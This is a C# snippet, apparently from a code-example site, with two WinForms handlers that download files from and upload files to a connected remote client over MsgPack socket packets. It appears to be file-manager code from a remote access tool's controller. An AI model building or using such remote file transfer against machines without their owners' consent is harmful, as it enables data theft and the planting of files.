예제 #1
0
 private void downloadToolStripMenuItem_Click(object sender, EventArgs e)
 {
     try
     {
         if (listView1.SelectedItems.Count > 0)
         {
             foreach (ListViewItem itm in listView1.SelectedItems)
             {
                 MsgPack msgpack = new MsgPack();
                 string  dwid    = Guid.NewGuid().ToString();
                 msgpack.ForcePathObject("Packet").AsString = "socketDownload";
                 msgpack.ForcePathObject("File").AsString   = itm.ToolTipText;
                 msgpack.ForcePathObject("DWID").AsString   = dwid;
                 ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
                 this.BeginInvoke((MethodInvoker)(() =>
                 {
                     FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
                     if (SD == null)
                     {
                         SD = new FormDownloadFile
                         {
                             Name = "socketDownload:" + dwid,
                             Text = "socketDownload:" + C.ID,
                             F = F
                         };
                         SD.Show();
                     }
                 }));
             }
         }
     }
     catch
     {
     }
 }
 private void uPLOADToolStripMenuItem_Click(object sender, EventArgs e)
 {
     try
     {
         OpenFileDialog O = new OpenFileDialog();
         O.Multiselect = true;
         if (O.ShowDialog() == DialogResult.OK)
         {
             foreach (string ofile in O.FileNames)
             {
                 FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + ""];
                 if (SD == null)
                 {
                     SD = new FormDownloadFile
                     {
                         Name = "socketUpload:" + Guid.NewGuid().ToString(),
                         Text = "socketUpload:" + C.ID,
                         F    = Program.form1,
                         C    = C
                     };
                     SD.dSize              = new FileInfo(ofile).Length;
                     SD.labelfile.Text     = Path.GetFileName(ofile);
                     SD.fullFileName       = ofile;
                     SD.label1.Text        = "Upload:";
                     SD.clientFullFileName = toolStripStatusLabel1.Text + "\\" + Path.GetFileName(ofile);
                     MsgPack msgpack = new MsgPack();
                     msgpack.ForcePathObject("Packet").AsString  = "fileManager";
                     msgpack.ForcePathObject("Command").AsString = "reqUploadFile";
                     msgpack.ForcePathObject("ID").AsString      = SD.Name;
                     SD.Show();
                     ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
                 }
             }
         }
     }
     catch { }
 }